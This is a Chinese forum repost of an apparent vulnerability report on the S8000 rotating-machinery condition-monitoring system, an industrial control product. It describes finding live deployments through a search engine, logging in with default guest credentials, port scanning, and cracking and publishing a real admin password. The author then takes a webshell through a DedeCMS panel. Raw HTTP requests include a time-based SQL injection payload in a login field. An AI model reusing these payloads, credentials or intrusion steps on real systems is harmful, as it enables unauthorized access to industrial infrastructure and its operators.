论坛 › 工控物联网安全::『Internet of things security』 › 工控安全之某大型旋转机SQL注入通杀全版本(内网拓扑)

admin 发表于 2022-3-31 03:38:31

工控安全之某大型旋转机SQL注入通杀全版本(内网拓扑)

<p style="background:white;font-family:宋体;font-size:12.0pt;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;word-break:break-all;">
        <span style="color:black;font-size:10.0pt;">查看打雷案例</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">: http://**.**.**.**/bugs/wooyun-2010-0135197<br />
</span><span style="color:black;font-size:10.0pt;">关键字</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">: SCG8000 </span><span style="color:black;font-size:10.0pt;">旋转机械在线状态监测</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">通过网络空间搜索</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">: </span><span style="color:black;font-size:10.0pt;">旋转机械在线状态监测</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">成功搜索到</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"> S8000 </span><span style="color:black;font-size:10.0pt;">旋转机械在线状态监测与分析系统</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">成功搜索到案例一枚</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
**.**.**.**:8089/<br />
</span><span style="color:black;font-size:10.0pt;">上面还带着账号</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">, </span><span style="color:black;font-size:10.0pt;">密码呢</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
guest_s guest_s </span><span style="color:black;font-size:10.0pt;">其实是可以注入的</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<div style="background:#F8F8F8;border:solid #CCCCCC 1.0pt;padding:9.0pt 9.0pt 9.0pt 9.0pt;">
<pre style="background:#F8F8F8;border:none;line-height:13.5pt;overflow:hidden;overflow-wrap:break-word;padding:0cm;"><code><span lang="EN-US" style="font-family:&quot;color:#333333;background:#F8F8F8;"></span></code>
        <fieldset style="sans-serif:, Helvetica, Arial, sans-serif;-webkit-text-stroke-width:0px;background-color:#FFFFFF;border:1px solid #CCCCCC;color:#000000;font-family:Verdana, &quot;font-size:12px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px auto;orphans:2;padding:0px;text-align:left;text-decoration-color:initial;text-decoration-style:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;width:870px;word-spacing:0px;">
                <code>GET /default.asp?username=admin&amp;userpassword=guest_s&amp;lang=0&amp;login=s8000&amp; HTTP/1.1</code><span lang="EN-US" style="font-family:&quot;color:#333333;background:#F8F8F8;"> <code><span style="font-family:&quot;">Host: **.**.**.**:8089</span></code> <code><span style="font-family:&quot;">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span></code> <code><span style="font-family:&quot;">Upgrade-Insecure-Requests: 1</span></code> <code><span style="font-family:&quot;">User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36</span></code> <code><span style="font-family:&quot;">DNT: 1</span></code> <code><span style="font-family:&quot;">Referer: **.**.**.**:8089/</span></code> <code><span style="font-family:&quot;">Accept-Encoding: gzip, deflate, sdch</span></code> <code><span style="font-family:&quot;">Accept-Language: zh-CN,zh;q=0.8</span></code> <code><span style="font-family:&quot;">Cookie: ASPSESSIONIDSSBSSRRR=IEMPDKHAACJDABNIMADMLAPL; updateTips=true; language=zh; PHPSESSID=n49fsmb15gbuf4n8q3qko85i06; ASP.NET_SessionId=ymma2a2ogade0znpnm5wp3cw; ASPSESSIONIDCCADAQQS=CEPLJPHAMDMFDLGCLMNIDEGG; __utma=209175697.1832228353.1444478771.1444478771.1444478771.1; __utmc=209175697; __utmz=209175697.1444478771.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDSQASTRQQ=NJPJKPHAEIEIIDFLBGEDIFBE; DedeUserID=1; DedeUserID__ckMd5=513682e572e84453; DedeLoginTime=1444482489; DedeLoginTime__ckMd5=3338c8dffc8243d5; ASPSESSIONIDQSDSRQQR=CLLPDHNABPCNPOIBPBLDHMKI; s8k=Crt%5FDatabasePath%5F300=D%3A%5CMicrosoft+SQL+Server%5CMSSQL%5CData%5C&amp;lang=0&amp;DatabasePath%5Fs8k%5F300=C%3A%5CInetpub%5Cwwwroot%5Cpublic%5Cdatabase%5C&amp;DatabaseType%5Fs8k%5F300=0</span></code></span><span lang="EN-US" style="font-family:&quot;color:#333333;"></span>
        </fieldset>
</pre>
</div>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">需要安装</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">Java 2</span><span style="color:black;font-size:10.0pt;">虚拟机</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">J2RE1.4.2(</span><span style="color:black;font-size:10.0pt;">或以上版本</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">)</span><span style="color:black;font-size:10.0pt;">才能正常浏览。</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
http://**.**.**.**/countries/china/our-locations/ </span><span style="color:black;font-size:10.0pt;">这是官网案例吧</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11105129fa8c5b05e26ef3cd2891a88df03fd1a0.png" target="_blank"><img width="553" height="480" src="https://www.2k8.org/content/uploadfile/202203/31/6e3ba6ba.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">阿尔斯通创为实</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">还是</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">2008</span><span style="color:black;font-size:10.0pt;">年的世界</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">500</span><span style="color:black;font-size:10.0pt;">强呢</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">~</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/111021583d2e3aeae01bee7debf00be4a1e41237.png" target="_blank"><img width="554" height="347" src="https://www.2k8.org/content/uploadfile/202203/31/c2429fb9.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11102205252f5dd4abcfe986882eb449b8b8f437.png" target="_blank"><img width="554" height="330" src="https://www.2k8.org/content/uploadfile/202203/31/769a1b96.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/111022115e6c7b46964030d7756c4d97eb31ae66.png" target="_blank"><img width="554" height="344" src="https://www.2k8.org/content/uploadfile/202203/31/682fd9bc.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11102219867b8929bcc273392d16d08abe7cd816.png" target="_blank"><img width="553" height="352" src="https://www.2k8.org/content/uploadfile/202203/31/c26a171a.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11102226ac07afb9eb0cf36bfce95bcf8b09c79f.png" target="_blank"><img width="553" height="289" src="https://www.2k8.org/content/uploadfile/202203/31/5f806fe7.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">可调频率</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">!!!</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/111022334a00d774136f75e1f65c4c9e561e5b13.png" target="_blank"><img width="554" height="373" src="https://www.2k8.org/content/uploadfile/202203/31/7b62092e.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/111022390c35971a8585ff4874689322c91bf846.png" target="_blank"><img width="553" height="282" src="https://www.2k8.org/content/uploadfile/202203/31/692302ea.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/1110224578e98240b8b31fe070c61fb5ed9faa3b.png" target="_blank"><img width="553" height="358" src="https://www.2k8.org/content/uploadfile/202203/31/0c9df373.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">&nbsp;</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11102253d311c7cd228e3b3e3cad237ec9b2560d.png" target="_blank"><img width="553" height="386" src="https://www.2k8.org/content/uploadfile/202203/31/872f3ed0.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">是</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">8089</span><span style="color:black;font-size:10.0pt;">端口</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">应该还开了其他端口</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">扫端口</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">结果如下</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">:<br />
**.**.**.**:8081/dede/ </span><span style="color:black;font-size:10.0pt;">我一看到这个</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">dede,</span><span style="color:black;font-size:10.0pt;">感觉有戏</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">, </span><span style="color:black;font-size:10.0pt;">一个通讯录有必要用</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">dede</span><span style="color:black;font-size:10.0pt;">么</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">?</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/111017055237440e82afbda6d92bfd201cdcefb8.png" target="_blank"><img width="554" height="455" src="https://www.2k8.org/content/uploadfile/202203/31/bef8b944.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">查看文章</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"> http://**.**.**.**/content/2414<br />
</span><span style="color:black;font-size:10.0pt;">成功得到账号密码</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">前减</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">3</span><span style="color:black;font-size:10.0pt;">位</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">后减一位</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"> **.**.**.**</span><span style="color:black;font-size:10.0pt;">解密</span><span style="font-size:10.0pt;font-family:&quot;color:black;"> </span><span style="color:black;font-size:10.0pt;">得到</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">:<br />
admin aza5572273<br />
</span><span style="color:black;font-size:10.0pt;">拿</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">shell</span><span style="color:black;font-size:10.0pt;">不解释了</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">我见过最简单的拿</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">shell</span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11101556b35c942a973af287ad0b7aad701d548c.png" target="_blank"><img width="554" height="297" src="https://www.2k8.org/content/uploadfile/202203/31/1ffebfe7.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">里面全是站</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/1110192292544deb5dcd1e266ca403e4eb4942ea.png" target="_blank"><img width="553" height="351" src="https://www.2k8.org/content/uploadfile/202203/31/89dd23c7.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">由于开启了安全模式</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">不能执行命令</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">不知如何绕过</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">已经到了我技术的边沿了</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">....<br />
**.**.**.**:8082/<br />
**.**.**.**:8086/<br />
**.**.**.**:8087/<br />
**.**.**.**:8088/custom/<br />
**.**.**.**:81/<br />
</span><span style="color:black;font-size:10.0pt;">另外一枚</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">:<br />
**.**.**.**/ </span><span style="color:black;font-size:10.0pt;">这是没有</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">guest_s</span><span style="color:black;font-size:10.0pt;">的</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">发现</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">SQL</span><span style="color:black;font-size:10.0pt;">注入一枚</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<div style="background:#F8F8F8;border:solid #CCCCCC 1.0pt;padding:9.0pt 9.0pt 9.0pt 9.0pt;">
<pre style="background:#F8F8F8;border:none;line-height:13.5pt;overflow:hidden;overflow-wrap:break-word;padding:0cm;"><code><span lang="EN-US" style="font-family:&quot;color:#333333;background:#F8F8F8;"></span></code>
        <fieldset style="sans-serif:, Helvetica, Arial, sans-serif;-webkit-text-stroke-width:0px;background-color:#FFFFFF;border:1px solid #CCCCCC;color:#000000;font-family:Verdana, &quot;font-size:12px;font-style:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-weight:400;letter-spacing:normal;margin:0px auto;orphans:2;padding:0px;text-align:left;text-decoration-color:initial;text-decoration-style:initial;text-indent:0px;text-transform:none;white-space:normal;widows:2;width:870px;word-spacing:0px;">
                <code>POST /default.asp HTTP/1.1</code><span lang="EN-US" style="font-family:&quot;color:#333333;background:#F8F8F8;"> <code><span style="font-family:&quot;">Content-Length: 405</span></code> <code><span style="font-family:&quot;">Content-Type: application/x-www-form-urlencoded</span></code> <code><span style="font-family:&quot;">X-Requested-With: XMLHttpRequest</span></code> <code><span style="font-family:&quot;">Referer: **.**.**.**/</span></code> <code><span style="font-family:&quot;">Cookie: s8k=DatabaseType=0; ASPSESSIONIDSQSBDBDA=DCKJDKDAPEMMNJCNKEIBAECH</span></code> <code><span style="font-family:&quot;">Host: **.**.**.**</span></code> <code><span style="font-family:&quot;">Connection: Keep-alive</span></code> <code><span style="font-family:&quot;">Accept-Encoding: gzip,deflate</span></code> <code><span style="font-family:&quot;">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21</span></code> <code><span style="font-family:&quot;">Accept: */*</span></code> <code><span style="font-family:&quot;">submit1=%b5%c7%c2%bc&amp;IfRm=&amp;IsFirst=0&amp;JZGraphId=&amp;menumark=1&amp;Powers8000=0&amp;s8000companyId=176&amp;s8000companyName=%d4%a3%b6%ab%b5%e7%b3%a7&amp;s8000FactoryType=0&amp;s8000graph=S8000MachineGraph_Old&amp;s8000keyid=&amp;select=176_%d4%a3%b6%ab%b5%e7%b3%a7&amp;stationid=&amp;username=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&amp;userpass=rivireqe</span></code></span><span lang="EN-US" style="font-family:&quot;color:#333333;"></span>
        </fieldset>
</pre>
</div>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">宝宝找到了这个</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <a href="https://w.hundan.org/articles/attach/201510/11102729a997cc6fa312c099484ff76d948f3f00.png" target="_blank"><img width="553" height="240" src="https://www.2k8.org/content/uploadfile/202203/31/c4a5e8b8.jpg" alt="" style="vertical-align:middle;" /></a><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
<p style="-webkit-text-stroke-width:0px;background:white;font-family:宋体;font-size:12.0pt;font-variant-caps:normal;font-variant-ligatures:normal;line-height:18.75pt;margin:0cm;margin-left:0cm;margin-right:0cm;orphans:2;overflow-wrap:break-word;text-decoration-color:initial;text-decoration-style:initial;widows:2;word-break:break-all;word-spacing:0px;">
        <span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
</span><span style="color:black;font-size:10.0pt;">据我的分析</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">当旋转机停止的时候里面的分析是加载不出来的</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">我也不知道什么时候才开</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;">,</span><span style="color:black;font-size:10.0pt;">什么时候关</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"><br />
**.**.**.**/<br />
</span><span style="color:black;font-size:10.0pt;">再一枚未授权访问</span><span lang="EN-US" style="font-size:10.0pt;font-family:&quot;color:black;"></span>
</p>
